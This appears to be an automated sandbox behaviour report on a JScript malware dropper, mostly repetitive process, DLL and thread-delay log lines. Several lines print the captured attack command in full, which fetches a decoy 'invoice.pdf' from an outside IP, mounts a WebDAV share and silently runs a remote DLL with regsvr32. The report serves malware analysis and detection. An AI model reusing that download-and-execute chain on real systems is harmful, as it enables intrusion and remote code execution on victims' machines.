Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4156.js.csv");ITextStream.WriteLine(" entry:8960 f:hocowht");ITextStream.WriteLine(" exec:2 f:hocowht");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4711			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4525			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep count: 4711 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep count: 4525 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7732	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7908	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8148	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000002.1746942292.000002262745D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1746942292.00000226273F8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2974504372.000001F0F1E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2975655248.000001F0F7242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2975701170.000001F0F7254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1746942292.000002262745D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWAr
Source: wscript.exe, 00000000.00000003.1684292482.000002031BECF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\[

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
